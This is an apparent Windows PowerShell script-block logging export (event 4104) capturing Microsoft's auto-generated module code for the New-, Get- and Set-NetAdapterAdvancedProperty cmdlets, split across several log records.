if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:DeleteInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBui
ScriptBlock ID: 7183a476-0865-4c5c-946f-ca6a370fbe23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1837 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 5):
er).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByNameDisplayName', 'ByInstanceIDDisplayName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByNameRegistryKeyword', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword', 'ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByNameDisplayName', 'ByNameRegistryKeyword', 'ByInstanceID', 'ByInstanceIDDisplayName', 'ByInstanceIDKeyword') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder)
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Get-NetAdapterAdvancedProperty' -Alias '*'
function Set-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterAdvancedPropertySettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${DisplayValue},
[Parameter(ParameterSetName='ByName', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='InputObject (cdxml)', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${RegistryValue},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_queryBuilder = $__cmdletization_objectModelWrapper.GetQueryBuilder()
if ($PSBoundParameters.ContainsKey('Name') -and (@('ByName') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${Name})
$__cmdletization_queryBuilder.FilterByProperty('Name', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('InterfaceDescription') -and (@('ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${InterfaceDescription})
$__cmdletization_queryBuilder.FilterByProperty('InterfaceDescription', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('DisplayName') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${DisplayName})
$__cmdletization_queryBuilder.FilterByProperty('DisplayName', $__cmdletization_values, $true, 'Default')
}
if ($PSBoundParameters.ContainsKey('RegistryKeyword') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_values = @(${RegistryKeyword})
$__cmdletization_queryBuilder.FilterByProperty('RegistryKeyword', $__cmdletization_values, $false, 'Default')
}
if ($PSBoundParameters.ContainsKey('IncludeHidden') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('IncludeHidden', ${IncludeHidden})
}
if ($PSBoundParameters.ContainsKey('AllProperties') -and (@('ByName', 'ByInstanceID') -contains $PSCmdlet.ParameterSetName )) {
$__cmdletization_queryBuilder.AddQueryOption('AllProperties', ${AllProperties})
}
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('ByName', 'ByInstanceID', 'InputObject (cdxml)') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DisplayValue')) {
[object]$__cmdletization_value = ${DisplayValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DisplayValue'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
ScriptBlock ID: 7183a476-0865-4c5c-946f-ca6a370fbe23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1836 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 5):
rosoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:CreateInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
{ @('Name') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('Name')) {
[object]$__cmdletization_value = ${Name}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'Name'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryKeyword')) {
[object]$__cmdletization_value = ${RegistryKeyword}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryDataType')) {
[object]$__cmdletization_value = ${RegistryDataType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryValue')) {
[object]$__cmdletization_value = ${RegistryValue}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryValue'; ParameterType = 'System.String[]'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('IncludeHidden')) {
[object]$__cmdletization_value = ${IncludeHidden}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:IncludeHidden'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:CreateInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_methodInvocationInfo)
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterAdvancedProperty.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'New-NetAdapterAdvancedProperty' -Alias '*'
function Get-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='ByName', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
[OutputType('Microsoft.Management.Infrastructure.CimInstance#ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData')]
param(
[Parameter(ParameterSetName='ByName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByNameDisplayName', Position=0, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByNameRegistryKeyword', Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true)]
[Parameter(ParameterSetName='ByInstanceIDDisplayName', Mandatory=$true)]
[Parameter(ParameterSetName='ByInstanceIDKeyword', Mandatory=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByNameDisplayName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceIDDisplayName', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('DispN')]
[ValidateNotNull()]
[string[]]
${DisplayName},
[Parameter(ParameterSetName='ByNameRegistryKeyword', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='ByInstanceIDKeyword', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('RegKey')]
[ValidateNotNull()]
[string[]]
${RegistryKeyword},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${AllProperties},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByNameDisplayName')]
[Parameter(ParameterSetName='ByNameRegistryKeyword')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='ByInstanceIDDisplayName')]
[Parameter(ParameterSetName='ByInstanceIDKeyword')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapp
ScriptBlock ID: 7183a476-0865-4c5c-946f-ca6a370fbe23
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1835 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4508 | 5108 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:05 AM | dfeadd90-ee34-0004-9528-ebdf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 5):
#requires -version 3.0
try { Microsoft.PowerShell.Core\Set-StrictMode -Off } catch { }
$script:MyModule = $MyInvocation.MyCommand.ScriptBlock.Module
$script:ClassName = 'ROOT/StandardCimv2/MSFT_NetAdapterAdvancedPropertySettingData'
$script:ClassVersion = '1.0.0'
$script:ModuleVersion = '1.0'
$script:ObjectModelWrapper = [Microsoft.PowerShell.Cmdletization.Cim.CimCmdletAdapter]
$script:PrivateData = [System.Collections.Generic.Dictionary[string,string]]::new()
Microsoft.PowerShell.Core\Export-ModuleMember -Function @()
function __cmdletization_BindCommonParameters
{
param(
$__cmdletization_objectModelWrapper,
$myPSBoundParameters
)
if ($myPSBoundParameters.ContainsKey('CimSession')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['CimSession'].Value = $myPSBoundParameters['CimSession']
}
if ($myPSBoundParameters.ContainsKey('ThrottleLimit')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['ThrottleLimit'].Value = $myPSBoundParameters['ThrottleLimit']
}
if ($myPSBoundParameters.ContainsKey('AsJob')) {
$__cmdletization_objectModelWrapper.PSObject.Properties['AsJob'].Value = $myPSBoundParameters['AsJob']
}
}
function New-NetAdapterAdvancedProperty
{
[CmdletBinding(DefaultParameterSetName='Name', SupportsShouldProcess=$true, ConfirmImpact='Medium', PositionalBinding=$false)]
param(
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${InterfaceDescription},
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${RegistryKeyword},
[Parameter(ParameterSetName='InstanceID', ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType]
${RegistryDataType},
[Parameter(ParameterSetName='InstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Parameter(ParameterSetName='Name', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string[]]
${RegistryValue},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='Name', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[ValidateNotNullOrEmpty()]
[string]
${Name},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='InstanceID')]
[Parameter(ParameterSetName='Name')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::new()
$__cmdletization_objectModelWrapper.Initialize($PSCmdlet, $script:ClassName, $script:ClassVersion, $script:ModuleVersion, $script:PrivateData)
if ($__cmdletization_objectModelWrapper -is [System.Management.Automation.IDynamicParameters])
{
([System.Management.Automation.IDynamicParameters]$__cmdletization_objectModelWrapper).GetDynamicParameters()
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Begin {
$__cmdletization_exceptionHasBeenThrown = $false
try
{
__cmdletization_BindCommonParameters $__cmdletization_objectModelWrapper $PSBoundParameters
$__cmdletization_objectModelWrapper.BeginProcessing()
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
Process {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_methodParameters = [System.Collections.Generic.List[Microsoft.PowerShell.Cmdletization.MethodParameter]]::new()
switch -exact ($PSCmdlet.ParameterSetName) {
{ @('InstanceID') -contains $_ } {
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('InterfaceDescription')) {
[object]$__cmdletization_value = ${InterfaceDescription}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceDescription'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'InterfaceDescription'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryKeyword')) {
[object]$__cmdletization_value = ${RegistryKeyword}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryKeyword'; ParameterType = 'System.String'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RegistryDataType')) {
[object]$__cmdletization_value = ${RegistryDataType}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RegistryDataType'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterAdvancedProperty.RegDataType'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
